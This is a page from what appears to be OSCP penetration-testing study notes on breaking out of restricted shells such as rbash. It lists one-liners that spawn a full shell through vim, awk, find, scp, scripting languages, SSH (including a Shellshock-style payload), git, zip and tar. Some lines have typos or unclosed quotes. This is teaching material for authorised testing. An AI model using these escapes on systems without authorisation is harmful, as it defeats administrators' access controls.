> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/post-exploitation/getting-out-of-restrictive-shells.md).

# Getting Out of Restrictive Shells

<details>

<summary>What is Restrictive shell?</summary>

* A shell that blocks/restricts some commands like (`ls`, `cd`, `echo`)&#x20;
* Blocks environment variables like `SHELL`, `PATH`, `USER`&#x20;
* Restricted shell can be `rbash`, `rksh`, `rsh` (check using: `echo $SHELL`)

</details>

<details>

<summary>What to enumerate for</summary>

* Commands like `cd`, `ls`, `echo`

  * `echo $PATH`
    * `ls -la /usr/home/tom/usr/bin` --> to know what commands I can run

* Operators like `>`, `>>`, `<`, `|`

* Check for presence of programming lang (perl, ruby, python)

* Check what commands user can run as root

* Check file with SUID perm

* Check environmental variables (`env`, `printenv`)

</details>

<details>

<summary>Common Exploitation Techniques</summary>

* If Vi/vim allowed --> `vi --cmd ':set shell=/bin/sh|:shell'`

```bash
vim
:set shell=/bin/bash
:shell
```

* If `/` is allowed --> run `/bin/bash` or `/bin/sh`
* If `cp` is allowed --> copy `/bin/sh` or `bin/bash` to your directory
* From FTP, `more`, `man`, `less`, `vim`--> `!/bin/sh` or `!/bin/bash`
* From `rvim` --> `python import os; os.system("/bin/bash")`
* From `scp` --> `scp -S /path/yourscript x y`
* From awk --> `awk 'BEGIN {system("/bin/sh or /bin/bash")`
* From find --> `find / -name test -exec /bin/sh or /bin/bash`
* For lshell, `echo os.system('/bin/bash')`

</details>

<details>

<summary>Programming Languages Techniques</summary>

* Expect (used to automate repetitive tasks)

```bash
expect spawn sh
sh
```

* Python

```bash
python -c 'import os; os.system("/bin/sh")'
```

* PHP

```php
php -a
exec("sh -i");
```

* Perl

```perl
perl -e 'exec "/bin/sh";'
```

* Lua

```
os.execute('/bin/sh')
```

* Ruby

```bash
exec "/bin/sh"
```

</details>

<details>

<summary>Fix Path (Linux)</summary>

```bash
export PATH=/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:$PATH
```

</details>

<details>

<summary>Advanced Techniques</summary>

* SSH

```bash
ssh username@IP - t "/bin/sh"
```

```bash
ssh username@IP -t "bash --noprofile"
```

```bash
ssh username@IP -t "() { :; }; /bin/bash
```

```bash
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh"
127.0.0.1
```

* Git

1. `git help status`
2. `!/bin/bash`

* Pico

1. `pico -s "/bin/bash"`
2. `/bin/bash`
3. CTRL-T

* Zip

```bash
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c
/bin/bash"
```

* Tar

```bash
tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash
```

</details>